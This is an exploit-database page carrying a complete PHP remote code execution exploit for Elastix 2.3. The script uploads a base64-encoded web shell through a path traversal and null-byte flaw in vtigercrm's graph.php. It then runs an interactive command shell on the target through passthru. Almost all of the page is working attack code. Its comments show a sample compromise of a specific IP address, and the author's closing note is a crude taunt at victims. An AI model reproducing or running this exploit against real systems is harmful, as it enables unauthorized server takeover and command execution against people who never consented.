Elastix 2.3 PHP Code Injection Vulnerability

🗓️ 06 Jan 2013 00:00:00Reported by i-HmxType
zdt🔗 0day.today👁 150 Views
Elastix 2.3 PHP Code Injection Vul
<?
/*
Exploit Title : Elastix 2.3 , Remote Command Execution Exploit
Google Dork : WTF!!!!
Version: Elastix All versions below 2.3 , Newer versions maybe affected as well ;)
Tested on: CentOS
CVE : notyet
Download Vuln software : elastix.org
Author : Faris AKA i-Hmx
Mail : [email protected]
Home : sec4ever.com , 1337s.cc

PhoeniX# php elastix.php
+-------------------------------------------+
|               Elastix < 2.4               |
|         PHP Code Injection Exploit        |
|                  By i-Hmx                 |
|                sec4ever.com               |
|             [email protected]             |
+-------------------------------------------+

| Enter Target [https://ip] # https://186.149.111.169
| Injecting 1st payload
| Injecting 2nd payload
| Testing total payload
| Sending CMD test package
| sec4ever shell online ;)

[email protected]# id
uid=100(asterisk) gid=101(asterisk) groups=101(asterisk)

[email protected]#

*/
echo "\n+-------------------------------------------+\n";
echo "|               Elastix < 2.4               |\n";
echo "|         PHP Code Injection Exploit        |\n";
echo "|                  By i-Hmx                 |\n";
echo "|                sec4ever.com               |\n";
echo "|             [email protected]             |\n";
echo "+-------------------------------------------+\n";
echo "\n| Enter Target [https://ip] # ";
$target=trim(fgets(STDIN));
$inj='<?eval(base64_decode("JGY9Zm9wZW4oJ2ZhLnBocCcsJ3crJyk7JGRhdGE9Jzw/IGVjaG8gIkZhcmlzIG9uIHRoZSBtaWMgOkQ8YnI+LS0tLS0tLS0tLS0tLS0tLS0iO0BldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUW2ZhXSkpO2VjaG8gIi0tLS0tLS0tLS0tLS0tLS0tIjsgPz4nO2Z3cml0ZSgkZiwkZGF0YSk7ZWNobyAiZG9uZSI7Cg==")); ?>';
$faf=fopen("fa.txt","w+");
fwrite($faf,$inj);
fclose($faf);
$myf='fa.txt';
$url = $target."/vtigercrm/graph.php?module=../modules/Settings&action=savewordtemplate"; // URL
$reffer = "http://1337s.cc/index.php";
$agent = "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax)";
$cookie_file_path = "/";
echo "| Injecting 1st payload\n";
$ch = curl_init(); 
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_USERAGENT, $agent);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,array("binFile"=>"@".realpath($myf)));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_REFERER, $reffer);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file_path); 
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file_path); 
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
$result = curl_exec($ch);
curl_close($ch);
if(!eregi('<body onload=set_focus()',$result))
{
die("[+] Exploitation Failed\n");
}
echo "| Injecting 2nd payload\n";
function faget($url,$post){
$curl=curl_init();
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_URL,$url);
curl_setopt($curl, CURLOPT_POSTFIELDS,$post);
curl_setopt($curl, CURLOPT_COOKIEFILE, '/'); 
curl_setopt($curl, CURLOPT_COOKIEJAR, '/'); 
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($curl,CURLOPT_FOLLOWLOCATION,0);
curl_setopt($curl,CURLOPT_TIMEOUT,20);
curl_setopt($curl, CURLOPT_HEADER, true); 
$exec=curl_exec($curl);
curl_close($curl);
return $exec;
}
function kastr($string, $start, $end){
    $string = " ".$string;
    $ini = strpos($string,$start);
    if ($ini == 0) return "";
    $ini += strlen($start);
    $len = strpos($string,$end,$ini) - $ini;
    return substr($string,$ini,$len);
}
$me=faget($target."/vtigercrm/graph.php?module=../test/upload&action=fa.txt%00","");
if(!eregi("done",$me))
{
die("[+] Exploitation Failed\n");
}
echo "| Testing total payload\n";
$total=faget($target."/vtigercrm/fa.php","");
if(!eregi("Faris on the mic :D",$total))
{
die("[+] Exploitation Failed\n");
}
echo "| Sending CMD test package\n";
$cmd=faget($target."/vtigercrm/fa.php","fa=cGFzc3RocnUoJ2VjaG8gZmFyc2F3eScpOw==");
if(!eregi("farsawy",$cmd))
{
echo "   + Cmd couldn't executed but we can evaluate php code\n   + use : $target//vtigercrm/fa.php\n   Post : fa=base64code\n";
}
echo "| sec4ever shell online ;)\n\n";
$host=str_replace('https://','',$target);
while(1){
echo "[email protected]$host# ";
$c=trim(fgets(STDIN));
if($c=='exit'){die("[+] Terminating\n");}
$payload=base64_encode("passthru('$c');");
$fuck=faget($target."/vtigercrm/fa.php","fa=$payload");
$done=kastr($fuck,"-----------------","-----------------");
echo "$done\n";
}
/*
/*
NP : Trace my logs very well bit#*z , Next time i will log deeeeeeep in your A$$es ;)
   Enjoy the song : http://www.youtube.com/watch?v=d-ELnDPmI8w
   keep in Your skiddy minds , "I Ain't Mad At Cha"
   < Faris , The Awsome xD >
*/
?>

#  0day.today [2018-03-14]  #
06 Jan 2013 00:00Current
7.5High risk
Vulners AI Score7.5